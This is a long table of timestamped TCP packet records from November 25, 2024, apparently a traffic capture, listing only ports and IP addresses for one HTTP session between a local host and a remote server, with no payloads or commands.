Nov 25, 2024 12:08:23.808434010 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.811652899 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.811697006 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.811706066 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.811747074 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.814960003 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.815035105 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.815068007 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.815116882 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.818464994 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.818514109 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.818593979 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.818643093 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.821822882 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.821863890 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.821881056 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.821918011 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.824596882 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.824654102 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.824692965 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.824742079 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.827545881 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.827631950 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.827650070 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.827765942 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.830384970 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.830446005 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.830449104 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.830487013 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.833245039 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.833307981 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.833316088 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.833357096 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.836026907 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.836040020 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.836074114 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.836106062 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.838701963 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.838746071 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.838756084 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.838783979 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.841295004 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.841339111 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.841378927 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.841419935 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.843883991 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.843959093 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.844053984 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.844095945 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.846422911 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.846441031 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.846474886 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.846489906 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.878875971 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.878947020 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.879050016 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.879185915 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.879883051 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.879931927 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.879992008 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.880039930 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.881977081 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.882025957 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.882734060 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.882781982 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.882817030 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.882864952 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.884844065 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.884896040 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.884917021 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.884965897 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.886953115 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.886965990 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.887026072 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.888997078 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.889045954 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.889064074 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.889111996 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.891118050 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.891156912 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.891165972 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.891222000 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.893172026 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.893189907 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.893224955 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.893290043 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.895286083 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.895335913 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.895359993 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.895407915 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.897334099 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.897378922 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.897456884 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.897506952 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.899713993 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.899764061 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.899858952 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.899907112 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.901758909 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.901808023 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.901844025 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.901940107 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.903714895 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.903762102 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.903763056 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.903851032 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.905697107 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.905709982 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.905747890 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.907777071 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.907823086 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.907864094 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.907906055 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.909841061 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.909883022 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.909887075 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.909924030 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.911828995 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.911875963 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.912029982 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.912106991 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.913898945 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.913954020 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.914012909 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.914061069 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.916091919 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.916141033 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.916178942 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.916243076 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.918164015 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.918215036 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.918278933 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.918324947 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.920258999 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.920310974 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.920325041 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.920365095 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.922261953 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.922313929 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.922343969 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.922391891 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.924312115 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.924366951 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.924407005 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.924454927 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.926382065 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.926420927 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.926440001 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.926472902 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.938358068 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.938411951 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.938416958 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.938462973 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.939034939 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.939084053 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.939095974 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.939140081 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.941148043 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.941200972 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.941234112 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.941281080 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.943078995 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.943128109 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.943207979 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.943253994 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.945199966 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.945252895 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.945286989 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.945333958 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.947401047 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.947468996 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.007730961 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.007806063 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.008042097 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.008095980 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.008788109 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.008837938 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.008853912 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.008898020 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.010802031 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.010854006 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.010943890 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.010993958 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.012923956 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.012974024 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.013022900 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.013081074 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.015053988 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.015105963 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.015188932 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.015244961 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.017242908 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.017294884 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.017349958 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.017395973 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.019464016 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.019507885 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.019582987 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.019629002 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.021800995 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.021862984 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.021883965 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.021935940 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.023484945 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.023503065 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.023531914 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.023547888 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.025352955 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.025403976 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.025577068 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.025628090 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.027359009 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.027410984 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.027565956 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.027611971 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.029372931 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.029419899 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.029434919 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.029483080 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.031270981 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.031331062 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.031383038 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.031383038 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.033149958 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.033200979 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.033292055 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.033340931 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.034991026 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.035041094 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.035064936 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.035115957 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.036917925 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.036930084 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.036963940 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.036981106 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.038537979 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.038597107 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.038741112 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.038790941 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.040316105 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.040366888 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.040395975 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.040441990 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.042018890 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.042031050 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.042069912 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.044034004 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.044087887 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.044130087 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.044176102 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.045492887 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.045536041 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.045617104 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.045664072 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.047025919 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.047082901 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.047111034 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.047173977 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.048708916 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.048762083 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.048824072 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.048871994 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.050333977 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.050395966 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.080246925 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.080301046 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.080348015 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.080394030 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.080696106 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.080749989 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.080787897 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.080835104 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.081870079 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.081927061 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.081957102 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.082009077 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.082998037 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.083046913 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.083111048 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.083156109 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.084125042 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.084181070 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.084235907 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.084279060 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.085206985 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.085267067 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.085305929 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.085346937 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.086373091 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.086421013 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.086488962 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.086525917 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.087440014 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.087492943 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.087569952 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.087615967 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.088587999 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.088639021 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.088686943 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.088738918 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.089696884 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.089744091 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.089827061 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.089874983 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.090909004 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.090951920 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.091018915 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.091061115 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.092101097 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.092145920 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.092183113 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.092221022 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.093081951 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.093131065 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.093193054 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.093235016 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.094228029 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.094278097 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.094312906 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.094360113 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.095360041 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.095412016 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.095482111 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.095546961 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.096467972 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.096523046 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.096590042 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.096642017 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.097563028 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.097583055 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.097618103 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.097618103 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.098727942 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.098779917 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.098838091 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.098875046 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.099951029 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.099997997 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:24.100091934 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:24.100145102 CET	49704	80	192.168.2.8	185.215.113.206
